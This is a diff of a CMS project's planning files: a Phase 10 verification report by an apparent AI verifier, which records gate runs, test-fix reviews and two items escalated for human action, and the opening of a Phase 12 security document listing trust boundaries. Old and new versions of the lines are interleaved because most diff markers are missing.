| Phase 10.2 (5e50b16, 57e7b56) | Framework packages moved to `modules/<pkg>`. Moves only, plus retargeted fixtures. | 59 covered paths re-mapped. No behavior change. |
|
||||
| Phase 10.1 (f928194..5bbb0ad) | Runtime extension point. The SPA gains `WidgetField`, `PartialField`, `PartialHost` with an allowlisted node renderer, `pluginAssets.ts`, toolbar actions in `ListToolbar.vue`, and plugin CSS scoped per controller in `router.ts`. `ListView.vue`, `FormView.vue`, `FormField.vue` and `registry.ts` were extended. cabana gains action and asset routes. The OpenAPI document and `schema.d.ts` were regenerated (+516 / +325 lines, additive). The dist was rebuilt. | Phase 10 tests still pass, together with the new ones (Vitest went from 441 to 681). The drift gates are clean. The changed views need a browser re-check, so a human item is open. |
|
||||
| Phase 11 (f7b6b0c, 93c735b, 5382947, 61da4d1) | cabana writes are commit-safe, transaction gates fail closed, the jwt.auth 401 gets a cache header, and the Phase 10 gate accepts the Phase 12 pending goldens | `go test` and the gate stages pass |
|
||||
| Phase 9 review fixes (b4b8b5d..4ae272e, 2da8112) | WR-01 wildcard permissions, WR-02 drops a denied main menu item and repoints its target, WR-17 merges an admin's own permissions over the role's, WR-03 and WR-05 refuse writes and relation link/unlink that are not declared, WR-14 mounts logout outside the guard and always clears the cookie, WR-11 case-insensitive unique emails, WR-19 TxFromContext | Re-checked against the SPA's contract: the assembled acceptance test (exact nav sets, CRUD, link/unlink, logout) and the named cabana tests pass |
|
||||
|
||||
## User Flow Coverage
|
||||
|
||||
Derived user story: *As a Płytarium admin, I want to log in to /plytadmin, see only what my role permits, and manage Albums, Artists, Collections, Genres, Styles and Collection editors, so that the catalogue can be administered without the PHP backend.*
|
||||
|
||||
| Step | Expected | Evidence (this session) | Status |
|
||||
| Repo | Commit | Files | Effect |
|
||||
|---|---|---|---|
|
||||
| Open /plytadmin | Embedded SPA served with base /plytadmin | `modules/boardwalk/boardwalk.go`, `TestPhase10TracerSPA` PASS, `check-admin-dist.sh` "matches a fresh build" | VERIFIED |
|
||||
| Log in | Cookie session, no token in body | `modules/cabana/auth.go` login, `useAuth.login`, `LoginView.test.ts` (Vitest PASS), `TestPhase10Coverage` PASS | VERIFIED |
|
||||
| See permitted navigation | Limited admin sees Genres only | `TestPhase10AssembledAcceptance` SC-1 PASS (exact nav sets) and `TestNavigationDropsDeniedParentAndRepointsTarget` PASS | VERIFIED (automated); browser re-check pending |
|
||||
| Use five lists and forms | Schema-driven list and form, create, update | `TestPhase10AssembledAcceptance` SC-2 and `TestPhase10Controllers` PASS, ListView/FormView Vitest PASS | VERIFIED (automated); browser re-check pending |
|
||||
| Link and unlink an editor | Search candidates, link, unlink | `TestPhase10AssembledAcceptance` SC-3 PASS, `relation.smoke.test.ts` PASS | VERIFIED (automated); browser re-check pending |
|
||||
| Stay signed in / be signed out | Refresh keeps an active session; reset, deactivation or deletion ends it | `TestAdminRefreshRevocation` PASS | VERIFIED |
|
||||
| Log out | Cookie expired, old cookie 401, works with an expired access token | Acceptance test (logout then /auth/me 401) and `TestAdminLogoutRevokesExpiredRefreshableToken` PASS | VERIFIED |
|
||||
| summercms.go | 77ca4b0 | `scripts/check-phase10.sh` (+2/-1) | `run_go` runs the framework suite with `-skip '^TestBootstrapEndToEnd$'` and a comment naming the opt-in guard (SUMMERCMS_BOOTSTRAP_CHECK=1, 14.3-02) |
|
||||
| sm-user-plugin (local only, ahead 1) | 569768e | `updates/organisations_test.go`, `user_groups_test.go`, `user_session_test.go` | `TestCreateOrganisationsMigration` expects `202610050001_create_oauth_identities`; five rollback loops count one more migration |
|
||||
| fonoteka.go (local, ahead 13) | 03dad50 | `parity/migrate_test.go`, `parity/schema_diff_test.go` | Expects 11 user migrations (was 10); allows the `backend_api_tokens` table in the schema diff |
|
||||
| fonoteka.go | 7db5ef8 | `parity/oauth_flow_test.go` | `TestOAuthFlows` writes `mcp-lifecycle.vars` under `$PARITY_ROOT` or `t.TempDir()` instead of a fixed `/tmp/summercms-parity/...` path |
|
||||
|
||||
`git diff fc7cfaf HEAD` in summercms.go touches only `scripts/check-phase10.sh`. No file changed under `admin/src`, `modules/` or `modules/boardwalk/dist`.
|
||||
|
||||
## Gap closure: `check-phase10.sh --all` at `--go`
|
||||
|
||||
### Independent run
|
||||
|
||||
`bash scripts/check-phase10.sh --go` (verifier's own process): `phase10 go passed`, **exit 0**, 4m50s. The orchestrator separately reports `--self-test`, `--security`, `--postgres`, `--openapi`, `--dist`, `--hygiene` and `--evidence` all exit 0 this session, plus typecheck and Vitest (83 files, 1279 tests). Only `npm ci` inside `--spa` was skipped, as before.
|
||||
|
||||
### Do the fixes weaken the gate? No.
|
||||
|
||||
**77ca4b0 (framework skip).**
|
||||
- The `-skip` pattern is anchored (`^...$`) and matches exactly one test in the repo: `modules/sunrise/sunrise_test.go:242`. Its body calls `t.Skip` unless `SUMMERCMS_BOOTSTRAP_CHECK=1`, so under this gate it never asserted anything.
|
||||
- That test still runs for real in `scripts/check-phase14.3.sh:484` (`SUMMERCMS_BOOTSTRAP_CHECK=1 go test ./modules/sunrise/ -run '^TestBootstrapEndToEnd$'`).
|
||||
- `phase10_detect` is unchanged. Any other skip in either repo is still refused, and `--self-test` exits 0.
|
||||
- `KNOWN_APP_FAILURES=""` and `APP_PENDING_SKIPS=""` are unchanged, so the app run allows no failures and no skips.
|
||||
- The fix takes the `-skip` option the previous report offered. It adds no self-test case because no skip event reaches the detector.
|
||||
- Residual (ℹ️): a future top-level test with the same name in another framework package would also be skipped silently.
|
||||
|
||||
**569768e (sm-user-plugin).**
|
||||
- The plugin defines exactly 11 migration IDs. The new ID, `202610050001_create_oauth_identities`, is the 11th and the last in order.
|
||||
- The `want` list gains only that ID, and the five `RollbackLast` loops each go up by one to account for it.
|
||||
- No assertion was removed or loosened. The tests still require exact history equality and roll back to the same target migration.
|
||||
|
||||
**03dad50 (fonoteka parity).**
|
||||
- The count change from 10 to 11 matches the plugin's real migration count.
|
||||
- `backend_api_tokens` is a real Go-only framework table from 16.3-01 (`modules/cabana`, `modules/lagoon/backend_admin_migrations_test.go`). The allowlist names it explicitly with a reason, the same way it handles `backend_jwt_blacklist`.
|
||||
|
||||
**7db5ef8 (TestOAuthFlows vars path).**
|
||||
- Only where the vars store is written changed. The replay and every assertion are the same.
|
||||
- I found no reader of `mcp-lifecycle.vars` anywhere in fonoteka.go. The new comment says "php_parity.sh reads these vars from PARITY_ROOT", which overstates things (php_parity.sh only defines `PARITY_ROOT`), but it does not affect behavior. ℹ️ Info.
|
||||
|
||||
### Caveat: the pass depends on uncommitted, unpushed sibling state
|
||||
|
||||
The `--go` pass was proven against the go.work working tree, where `plugins/golem15/user` is checked out at 569768e. fonoteka.go's recorded pointer is still cf5c6b9. At that commit, `TestCreateOrganisationsMigration` fails exactly as in the previous report. Pushing 569768e and bumping the pointer needs the user's go-ahead, so this is an escalation item (human_verification #2), not a code gap. The previous report accepted the same arrangement, with an uncommitted pointer at 7a6fa0e.
|
||||
|
||||
## Goal Achievement
|
||||
|
||||
@@ -287,148 +328,109 @@ Derived user story: *As a Płytarium admin, I want to log in to /plytadmin, see
|
||||
|
||||
| # | Truth | Status | Evidence |
|
||||
|---|---|---|---|
|
||||
| 1 | An admin logs in through the SPA and sees only the navigation items their permissions allow. | ✓ VERIFIED | Server: `TestPhase10AssembledAcceptance` (fonoteka, Postgres) asserts the limited admin's nav is exactly `fonoteka:[genres]`, the developer's is `albums,collections,genres,styles,artists`, the limited admin gets 403 on albums and an empty settings list. It passes at HEAD with the Phase 9 WR-01/WR-02/WR-17 permission changes in place. `TestNavigationDropsDeniedParentAndRepointsTarget`: PASS. SPA: `useNavigation.ts`, `PluginRail.vue` and `SectionPanel.vue` are unchanged since c7487f6. Their Vitest tests pass. |
|
||||
| 2 | Each of the five controllers renders a working list and form generated from its JSON schema. | ✓ VERIFIED | Server: the SC-2 loop and `TestPhase10Controllers` (fields and columns equal the tracked YAML) pass. `TestCRUDOperationsFollowDeclarations` (Phase 9 WR-03) passes, and SC-2's create and update still succeed under it. SPA: `ListView.vue` still loads `/schema/list` and the list, and `FormView.vue` still loads `/schema/form` and the record and then POSTs or PUTs. 10.1 adds toolbar actions, widgets, partials and plugin CSS on top. `ListView.test.ts` (+171 lines) and `FormView.test.ts` (+144) pass with the original Phase 10 cases intact. Vitest: 53 files, 681 passed. Browser confirmation of the changed views is the open human item. |
|
||||
| 3 | The Collections form's relation manager lets an admin search, link and unlink an editor. | ✓ VERIFIED | Server: the SC-3 block covers candidates with the owner excluded, link, list, the linked user dropping out of the candidates, unlink, and an empty list afterwards. It passes with Phase 9 WR-05 (undeclared link/unlink refused) in place. SPA: `RelationManager.vue` and `RelationPickerModal.vue` are unchanged since c7487f6, and their tests and `relation.smoke.test.ts` pass. |
|
||||
| 4 | API calls in the SPA use TypeScript types generated from the OpenAPI document, with no hand-maintained duplicate type. | ✓ VERIFIED | `client.ts` is `createClient<paths>` over the generated `schema.d.ts`. `admin/src` has no other `fetch(`, and `pluginAssets.ts` loads same-origin assets through elements, not a fetch. `types.ts` (+12 lines for the 10.1 types) still contains only aliases onto `components['schemas']` and `paths[...]`. `check-admin-openapi.sh --check`: exit 0. `check-phase10.sh --hygiene`: passed. |
|
||||
| 1 | An admin logs in through the SPA and sees only the navigation items their permissions allow. | ✓ VERIFIED | Carried from fc7cfaf (no admin/src or Go change). `--security`/`--postgres`/`--evidence` exit 0 this session (orchestrator); `--go` exit 0 (verifier). |
|
||||
| 2 | Each of the five controllers renders a working list and form generated from its JSON schema. | ✓ VERIFIED | Carried: `TestPhase10Controllers` and the assembled acceptance SC-2 block are in the green `--postgres` stage. The browser re-check stays open as human item #1. |
|
||||
| 3 | The Collections form's relation manager lets an admin search, link and unlink an editor. | ✓ VERIFIED | Carried: `TestPhase10AlbumRelations`, `TestPhase10RelationOptions`, `TestPhase10RelationSave` and the SC-3 block are in green stages. |
|
||||
| 4 | API calls in the SPA use TypeScript types generated from the OpenAPI document, with no hand-maintained duplicate type. | ✓ VERIFIED | Carried: `--hygiene` and `--openapi` exit 0; the files.ts exemption is unchanged since it was judged narrow in fc7cfaf. |
|
||||
|
||||
**Score:** 4/4 ROADMAP truths verified (0 present-but-behavior-unverified).
|
||||
**Score:** 4/4 ROADMAP truths verified. Plan truths 46/46 (0 present, behavior-unverified).
|
||||
|
||||
### Plan must-have truths (supporting evidence)
|
||||
### Plan must-have truths (re-checked rows)
|
||||
|
||||
There are 46 plan truths across 10-01..10-05. The earlier runs verified all of them, with A3 human-observed. Their evidence is the named tests and gates, and all of those were re-run this session as part of `go test ./...` (summercms.go), the fonoteka Phase 10 acceptance tests, Vitest, the dist and OpenAPI drift gates, and the gate stages `--self-test`, `--hygiene`, `--security` and `--evidence`. All of them pass. The renamed packages carry the same tests: `modules/cabana/phase10_*_test.go`, `modules/phrasebook/phase10_test.go`, `modules/surf/admin_prefix_test.go` and the others in covered_files.
|
||||
|
||||
Backstop (non-inferable) truths:
|
||||
|
||||
| Truth | Evidence | Status |
|
||||
| Truth (10-05) | Status | Evidence |
|
||||
|---|---|---|
|
||||
| A1 default prefix /backend; fonoteka /plytadmin | `modules/cabana/prefix.go` `DefaultAdminPrefix`, `TestPhase10Prefix` in the passing cabana run | VERIFIED |
|
||||
| A3 Secure cookie accepted on http://localhost | 10-UAT.md test 6 (human-observed). The cookie attributes are unchanged in substance. | VERIFIED (human-observed) |
|
||||
| A10 30 s blacklist grace plus single-flight refresh | `modules/cabana/auth.go` reads `admin.jwt.blacklist_grace`, fonoteka `config/admin.yaml`, `client.test.ts` (Vitest PASS) | VERIFIED |
|
||||
| A8 pivot sort_order = array index | fonoteka `admin_phase10_relations_test.go` (package passes) | VERIFIED |
|
||||
| Required relation is a schema hint only | `TestPhase10RelationSave` PASS | VERIFIED |
|
||||
| A6 dark mode follows the system only | `theme.ts`, `theme.test.ts` PASS | VERIFIED |
|
||||
| SC-4 mechanical enforcement | `check-phase10.sh --hygiene` PASS | VERIFIED |
|
||||
| Every Phase 10 Go change has named tests, and both repositories pass go vet ./... and go test ./... | ✓ VERIFIED (was ✗ FAILED) | `check-phase10.sh --go` exit 0 in the verifier's run. The framework excludes only the opt-in sunrise test, which `check-phase14.3.sh` runs for real; the app run has no allowances. Working-tree caveat above. |
|
||||
| `--all` exits non-zero on any failing stage, zero-test run, skip, drift, hygiene violation or evidence gap; `--self-test` proves each detector fails closed | ✓ VERIFIED | `--self-test` exit 0 (orchestrator). `phase10_detect` and the allowance variables are unchanged. |
|
||||
| `scripts/check-phase10.sh --all` passes at HEAD | ✓ VERIFIED | Every stage exits 0 this session: `--go` in the verifier's run, the rest in the orchestrator's. `--spa` used its typecheck and Vitest equivalent without `npm ci`. |
|
||||
|
||||
The other 43 plan truths are carried from fc7cfaf. Their code is unchanged, and the stages that cover them passed this session.
|
||||
|
||||
### Prohibitions (judgment tier)
|
||||
|
||||
All 17 verdicts were accepted in 10-UAT.md test 7. I re-checked them against the code that changed since:
|
||||
|
||||
- No Płytarium or fonoteka names appear in `admin/src`, `admin/tests`, `admin/openapi` or `modules/boardwalk/dist`. A grep came back empty, and the hygiene gate passes.
|
||||
- `admin/src` has no `v-html` or `innerHTML`. The 10.1 partials are built from an allowlisted node tree with `h()`, and text is always text (`partialNodes.ts`). Plugin labels and comments are still rendered as text.
|
||||
- Plugin JS and CSS come from cabana's same-origin asset route, so nothing loads from a foreign origin.
|
||||
- The cookie login and refresh paths still never return the JWT in a body.
|
||||
- Phase 9 WR-03 and WR-05 tighten "relation save never writes a protected FK or an out-of-scope id". They do not weaken it.
|
||||
|
||||
All 17 remain not violated, and the human acceptance carries over.
|
||||
Unchanged. All 17 were accepted in 10-UAT.md test 7, and the mechanical subset is still enforced by the green `--hygiene` stage. None is violated.
|
||||
|
||||
### Required Artifacts
|
||||
|
||||
| Artifact | Status | Details |
|
||||
|---|---|---|
|
||||
| `admin/` SPA (views, components, state, api, app) | ✓ VERIFIED | It exists, has substance and is wired, and it is embedded via `modules/boardwalk/dist`, which matches a fresh build |
|
||||
| `admin/openapi/admin.json`, `admin/src/api/schema.d.ts`, `admin/src/api/types.ts` | ✓ VERIFIED | No drift from generation |
|
||||
| `modules/boardwalk/boardwalk.go` + `dist/` | ✓ VERIFIED | `TestPhase10TracerSPA` PASS |
|
||||
| `modules/cabana/{auth,http,crud,relation,relation_field,form_schema,list_schema,filter_schema,schema_types,registry,contracts,csrf,lang,messages,prefix,admin_openapi}.go` | ✓ VERIFIED | Moved under modules/ and changed by 10.1, 11 and the Phase 9 fixes. The cabana package passes. |
|
||||
| `modules/bouncer/{jwt,refresh}.go` | ✓ VERIFIED | `RefreshAudienceFor` still wired from `modules/cabana/auth.go`. The new WR-14 logout helper is additive. |
|
||||
| `modules/pact/capabilities.go`, `modules/phrasebook/*`, `modules/surf/router.go` | ✓ VERIFIED | Packages pass |
|
||||
| `scripts/check-phase10.sh`, `check-admin-dist.sh`, `check-admin-openapi.sh` | ✓ VERIFIED | Retargeted to `modules/` paths, and every stage run passes |
|
||||
| `../fonoteka.go/plugins/golem15/fonoteka/admin_phase10_*_test.go` | ✓ VERIFIED | At e62f4fc: Acceptance, Tracer and Controllers PASS |
|
||||
| `admin/` SPA, `admin/openapi`, generated types | ✓ VERIFIED | Unchanged since fc7cfaf; `--dist`, `--openapi`, `--hygiene` exit 0 |
|
||||
| `modules/cabana`, `bouncer`, `surf`, `boardwalk`, `phrasebook` Phase 10 code | ✓ VERIFIED | Unchanged; `--security`, `--postgres`, `--go` exit 0 |
|
||||
| `scripts/check-phase10.sh` | ✓ VERIFIED (was ⚠️ PARTIAL) | All stages exit 0; the 77ca4b0 change is narrow (see above) |
|
||||
| fonoteka `admin_phase10_*_test.go` | ✓ VERIFIED | Pass within the `--go` app run and `--postgres` |
|
||||
|
||||
### Key Link Verification
|
||||
|
||||
| From | To | Via | Status |
|
||||
|---|---|---|---|
|
||||
| `admin/src/api/client.ts` | generated `schema.d.ts` | `createClient<paths>`, the only `fetch(` in `admin/src` | WIRED |
|
||||
| `admin/src/state/useAuth.ts` logout | `POST /auth/logout` | `modules/cabana/http.go:205`, now mounted outside the guard with `requireAjax`. The client sets `X-Requested-With` on every request (`client.ts:71`). | WIRED |
|
||||
| `modules/cabana/auth.go` refresh | `bouncer.RefreshAudienceFor` → the guard's `UserProvider` | `s.users` (`lazyBackendUsers`) | WIRED |
|
||||
| `admin/src/views/ListView.vue` / `FormView.vue` | `/schema/list`, `/schema/form`, records | client calls (10.1 additions on top) | WIRED |
|
||||
| `RelationManager.vue` | `/relations/{name}`, `/candidates` | client calls | WIRED |
|
||||
| `modules/boardwalk` | `admin` build | `go:embed dist`, drift gate | WIRED |
|
||||
| `scripts/check-phase10.sh` run_go | `go test -json` in both repos | `phase10_detect`, with no app allowances and one anchored framework `-skip` | WIRED |
|
||||
| `check-phase10.sh` `-skip '^TestBootstrapEndToEnd$'` | `check-phase14.3.sh --bootstrap` | the skipped test runs for real in its own phase gate | WIRED |
|
||||
| All other links (client.ts to schema.d.ts, files.ts to aliases and client, views to endpoints, boardwalk to dist) | | | WIRED (unchanged) |
|
||||
|
||||
### Data-Flow Trace (Level 4)
|
||||
|
||||
These are unchanged in structure. Every flow is ✓ FLOWING:
|
||||
Unchanged. Every flow is FLOWING.
|
||||
|
||||
- navigation comes from `GET /navigation`, filtered on the server
|
||||
- list rows and columns come from the list endpoint and `/schema/list`
|
||||
- form fields and the record come from `/schema/form` and `GET /{id}`
|
||||
- the relation manager's linked rows and candidates come from `/relations/{name}` and `/candidates`
|
||||
- strings come from `GET /lang`
|
||||
|
||||
### Behavioral Spot-Checks (run this session)
|
||||
### Behavioral Spot-Checks
|
||||
|
||||
| Behavior | Command | Result | Status |
|
||||
|---|---|---|---|
|
||||
| Vet | `go vet ./...` (summercms.go) | exit 0 | ✓ PASS |
|
||||
| Full Go suite | `go test -count=1 ./...` (summercms.go), run once | Most packages ok. Eight packages failed only because testcontainers Postgres did not start within the timeout (`context deadline exceeded`, and one `internal/dev` watch timeout) while Vitest and other suites shared the machine: docs/examples/blog, internal/dev, beachcomber, bouncer, cabana, conga, lagoon/attach, lighthouse. | see re-run |
|
||||
| Re-run of those 8 packages serially | `go test -count=1 -p 1 <8 pkgs>` | all 8 ok, exit 0 | ✓ PASS |
|
||||
| Logout, nav, refresh, CRUD gating, Phase 10 coverage | `go test -count=1 -run '^(TestAdminLogoutRevokesExpiredRefreshableToken\|TestNavigationDropsDeniedParentAndRepointsTarget\|TestAdminRefreshRevocation\|TestPhase10Coverage\|TestCRUDOperationsFollowDeclarations)$' ./modules/cabana/` | all PASS | ✓ PASS |
|
||||
| SC-1..SC-3 assembled on Postgres plus tracer and controllers | `go test -count=1 -run '^(TestPhase10AssembledAcceptance\|TestPhase10TracerSPA\|TestPhase10Controllers)$' ./plugins/golem15/fonoteka/` (fonoteka.go) | 3 PASS, ok 6.6s | ✓ PASS |
|
||||
| SPA unit/component suite | `npx vitest run` (admin) | 53 files, 681 passed | ✓ PASS |
|
||||
| Embedded dist drift (incl. vue-tsc) | `scripts/check-admin-dist.sh` | "modules/boardwalk/dist matches a fresh build" | ✓ PASS |
|
||||
| OpenAPI and types drift | `scripts/check-admin-openapi.sh --check` | exit 0 | ✓ PASS |
|
||||
| Phase gate stages | `scripts/check-phase10.sh --self-test / --hygiene / --security / --evidence` | each exit 0 | ✓ PASS |
|
||||
| Go stage | `bash scripts/check-phase10.sh --go` (verifier) | `phase10 go passed`, exit 0, 4m50s | ✓ PASS |
|
||||
| `-skip` target is unique | `grep -rn "func TestBootstrapEndToEnd"` | one hit, `modules/sunrise/sunrise_test.go:242` (env-gated `t.Skip`) | ✓ PASS |
|
||||
| Skipped test still runs elsewhere | `grep` in `scripts/check-phase14.3.sh` | line 484 runs it with `SUMMERCMS_BOOTSTRAP_CHECK=1` | ✓ PASS |
|
||||
| App allowances empty | `grep` for `KNOWN_APP_FAILURES` and `APP_PENDING_SKIPS` | both `""` | ✓ PASS |
|
||||
| User plugin migration count | migration ID grep in `plugins/golem15/user/updates` | 11 unique IDs, `202610050001_create_oauth_identities` last | ✓ PASS |
|
||||
| Other stages | orchestrator run: `--self-test`, `--security`, `--postgres`, `--openapi`, `--dist`, `--hygiene`, `--evidence`, typecheck, Vitest | all exit 0; 83 files, 1279 tests | ✓ PASS (reported) |
|
||||
|
||||
### Probe Execution
|
||||
|
||||
No `probe-*.sh` scripts are declared or present. `check-phase10.sh` is the phase gate. Its stages were run as listed above. Its `--go`, `--postgres`, `--spa`, `--openapi` and `--dist` stages were covered directly by the full Go run with the serial re-run, the fonoteka tests, Vitest and the two drift scripts.
|
||||
No `probe-*.sh` is declared or present. `check-phase10.sh` is the phase gate.
|
||||
|
||||
### Requirements Coverage
|
||||
|
||||
| Requirement | Source Plan | Description | Status | Evidence |
|
||||
|---|---|---|---|---|
|
||||
| ADMIN-06 | 10-01..10-05 | Minimal Vue 3 + TS SPA renders login, permission-gated navigation, lists, forms and the relation manager for the five controllers using generated types | ✓ SATISFIED (automated); browser re-check pending | Truths 1-4 |
|
||||
| ADMIN-06 | 10-01..10-05 | Minimal Vue 3 + TS SPA renders login, permission-gated navigation, lists, forms and the relation manager for the five controllers using generated types | ✓ SATISFIED; browser re-walk pending | Truths 1-4; acceptance command green |
|
||||
|
||||
Orphaned requirements: none.
|
||||
|
||||
### Decision Coverage
|
||||
|
||||
All 28 trackable CONTEXT.md decisions are honored (no decision was reverted by the later phases).
|
||||
|
||||
### Anti-Patterns Found
|
||||
|
||||
| File | Pattern | Severity | Impact |
|
||||
|---|---|---|---|
|
||||
| `modules/cabana/auth.go`, `http.go` | Phase 10 review WR-01: logout behind the guard | resolved | Fixed by Phase 9 WR-14 (299d220) |
|
||||
| `modules/bouncer/refresh.go`, fonoteka `golem15/user` | WR-08: the site-user refresh ignores tokens_valid_after | ⚠️ Warning | Outside the Phase 10 contract. Core user plugin contract kept. |
|
||||
| `modules/cabana/relation_field.go`, `crud.go` | WR-02 and WR-03 (Phase 10 review) | ⚠️ Warning | Phase 9 WR-03 and WR-05 now refuse undeclared writes and link/unlink. Not re-triaged here. |
|
||||
| `modules/pact/capabilities.go` | WR-04: `FilterOptions(scope)` has no ctx or db | ⚠️ Warning | Open |
|
||||
| `admin/src/views/*.vue` | WR-05: loaders without try/catch | ⚠️ Warning | Open |
|
||||
| `ListView.vue`, `RelationManager.vue` | WR-06: no page clamp after delete or unlink | ⚠️ Warning | Open |
|
||||
| `modules/bouncer/refresh.go` | WR-07: the refresh window slides with no absolute cap | ⚠️ Warning | Residual risk in T-10-05 |
|
||||
| fonoteka.go `plugins/golem15/user` pointer | The fix lives in an unpushed local commit; the recorded pointer cf5c6b9 still fails `TestCreateOrganisationsMigration` | ⚠️ Warning | A clean checkout of fonoteka.go fails `--go` until 569768e is pushed and the pointer is bumped (human item #2) |
|
||||
| `scripts/check-phase10.sh:293` | `-skip` matches by test name across all framework packages | ℹ️ Info | A future same-named test elsewhere would be skipped silently; today the name is unique |
|
||||
| fonoteka.go `parity/oauth_flow_test.go:288` | Comment says php_parity.sh reads the vars; nothing reads `mcp-lifecycle.vars` | ℹ️ Info | Misleading comment only |
|
||||
| Phase 10 review WR-04..WR-08 | carried | ⚠️ Warning | Unchanged |
|
||||
|
||||
None of the non-planning covered files contains an unreferenced `TBD`, `FIXME` or `XXX` marker (grep came back empty).
|
||||
|
||||
### Other observations (Info)
|
||||
|
||||
- Phase 10.1's own UAT (10.1-UAT.md) is still `status: testing` with 6 items pending. Its tests 1 and 4 overlap the open Phase 10 human item.
|
||||
- The summercms.go working tree has an uncommitted change to `.planning/phases/10.2-.../10.2-VERIFICATION.md` that this verifier did not make (another run in progress), plus the untracked `SummerCMS landing page.zip`. Neither is Phase 10 code.
|
||||
- The first full `go test` run was disturbed by machine load: Postgres containers timed out at startup. A fail-closed reading needs the serial re-run. If the gate is run in CI, run it on an otherwise idle machine.
|
||||
There are no `TBD`, `FIXME` or `XXX` markers in the changed lines.
|
||||
|
||||
### Human Verification Required
|
||||
|
||||
### 1. Browser re-walk of the Phase 10 flows on the current build
|
||||
|
||||
**Test:** Run the fonoteka binary and open /plytadmin. Log in as a superuser and then as a genres-only admin. For each of the five controllers, use the list and form (search, sort, filter, paging, save, 422 field errors). Link and unlink a Collection editor. Open Ustawienia. Glance at light and dark mode.
|
||||
**Expected:** Everything still behaves as approved in 10-UAT.md tests 2 to 5. The Albums form's new 10.1 widgets and partials do not break the Phase 10 form.
|
||||
**Why human:** Phase 10.1 changed the very views the 2026-09-27 approval covered, and D-23 keeps browser e2e out of the automated suite. Closing 10.1-UAT tests 1 and 4 with Genres, Collections and Settings included also closes this item.
|
||||
**Test:** Run the fonoteka binary and open /plytadmin. Log in as a superuser, then as a genres-only admin. Use the list and form of each of the five controllers (search, sort, filter, paging, save, 422 field errors). Link and unlink a Collection editor. Open Ustawienia. Glance at light and dark mode.
|
||||
**Expected:** Everything behaves as approved in 10-UAT.md tests 2 to 5. Later widgets, field types and persisted list state do not break the Phase 10 views.
|
||||
**Why human:** D-23 keeps the browser out of the suite.
|
||||
**UAT coverage:** Not covered by an existing passing row. 10-UAT.md is complete with all 7 rows pass, but rows 2 to 5 were recorded against c7487f6 (2026-09-27), and later phases have since changed the views they cover (retest_reason in the frontmatter). 10.1-UAT.md is status: testing with 0 of 6 rows passed. Its tests 1 and 4 overlap this walk; passing them with Genres, Collections and Settings included would also close this item.
|
||||
|
||||
The carried items (CR-01, A3, the 17 prohibitions) remain resolved, with evidence re-run this session.
|
||||
### 2. Publish the sibling-repo test fixes
|
||||
|
||||
**Test:** Push sm-user-plugin 569768e. Commit the `plugins/golem15/user` pointer bump (cf5c6b9 to 569768e) in fonoteka.go as a separate commit, then push fonoteka.go when you choose.
|
||||
**Expected:** A clean fonoteka.go checkout passes `check-phase10.sh --go`.
|
||||
**Why human:** Pushing needs the user's go-ahead. The verified pass relies on the working-tree submodule state.
|
||||
|
||||
Carried items CR-01, A3 and the 17 prohibitions stay resolved by 10-UAT.md tests 1, 6 and 7 (code unchanged).
|
||||
|
||||
### Gaps Summary
|
||||
|
||||
There are no gaps. All four ROADMAP success criteria hold at HEAD on automated evidence re-run this session:
|
||||
The one remaining gap from fc7cfaf is closed. `check-phase10.sh --go` passes in the verifier's own run, and every other stage passed this session. None of the four fixes weakens the gate:
|
||||
- The framework `-skip` is anchored to a single opt-in test that `check-phase14.3.sh` runs for real.
|
||||
- The app run still allows no failures and no skips.
|
||||
- The migration-history and parity tests were updated to match the real 11 migrations and a real 16.3 table, with no assertion loosened.
|
||||
|
||||
- `go vet` is clean
|
||||
- every Go package passes, with eight container-startup timeouts cleared by a serial re-run
|
||||
- the fonoteka Postgres acceptance test passes
|
||||
- Vitest passes, 681 of 681
|
||||
- the dist and OpenAPI drift gates and four gate stages pass
|
||||
|
||||
The status is human_needed, not passed, because the human browser approvals predate the Phase 10.1 changes to ListView, FormView, the toolbar, the router and the styles. Those approvals cannot be carried over to the changed views.
|
||||
No code gaps remain. Status is human_needed for two items: the browser re-walk, which no passing UAT row covers for the current code, and publishing the sibling-repo fixes so a clean checkout matches the verified working tree.
|
||||
|
||||
---
|
||||
|
||||
_Verified: 2026-10-01T21:29:59Z_
|
||||
_Verifier: Claude (gsd-verifier)_
|
||||
_Verified: 2026-10-11T15:11:15Z_
|
||||
_Verifier: Claude (msd-verifier)_
|
||||
|
||||
@@ -0,0 +1,117 @@
|
||||
---
|
||||
phase: "12"
|
||||
slug: "p-ytarium-api-collections-and-albums"
|
||||
status: verified
|
||||
# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
|
||||
threats_open: 0
|
||||
asvs_level: 1
|
||||
created: "2026-10-12"
|
||||
---
|
||||
|
||||
# Phase 12 — Security
|
||||
|
||||
> Per-phase security contract: threat register, accepted risks, and audit trail.
|
||||
|
||||
The threat register was written at plan time in the `<threat_model>` blocks of Plans 12-01 to 12-05. The evidence for each threat, including the 25 removal checks that prove each high mitigation is load-bearing, is in `12-SECURITY-REVIEW.md` (2026-10-02, gate `scripts/check-phase12.sh --all`). No SUMMARY.md carries a `## Threat Flags` section.
|
||||
|
||||
---
|
||||
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description | Data Crossing |
|
||||
|----------|-------------|---------------|
|
||||
| HTTP request body → request validator | Untrusted JSON and multipart input reaches rule evaluation, regex matching and DB `exists` lookups | Request fields (untrusted) |
|
||||
| Uploaded bytes → image decoders and blob storage | Untrusted image bytes are written to disk, sniffed, decoded and thumbnailed | Photo and cover files (untrusted) |
|
||||
| JWT or personal-token caller → collection and album routes | The caller names collection, album and file ids; the server decides tenancy | Household collection data (private) |
|
||||
| Personal token (MCP, agents) → tenant resolution | A token is pinned to one collection and narrower scopes | Token pin, collection scope |
|
||||
| Share token → anonymous viewers | The token is the bearer secret of public views | Share token (secret) |
|
||||
| Invitee mailbox → accept route | The raw token in the mail is the only bearer of the invitation | Invitation token (secret) |
|
||||
| Write transaction → River → mail | The invitation token leaves the DB for the job queue and the mail driver | Encrypted token in job args |
|
||||
| User-supplied URLs → outbound fetch | cover_urls and cover_url make the server fetch remote content | Remote image bytes (untrusted) |
|
||||
| Search engine → SQL | Engine ids and found counts are candidates only, never authorization | Album ids, counts |
|
||||
| Write transaction → Centrifugo and notifications | Album data and notifications leave for subscribers | Album metadata (household-private) |
|
||||
| Parity fixtures and fuzz seeds (git) → tests | Committed fixtures and seeds must never carry a usable secret | Test data |
|
||||
| Module proxy → go.mod | A dependency bump enters the build | `golang.org/x/image` |
|
||||
|
||||
---
|
||||
|
||||
## Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
|
||||
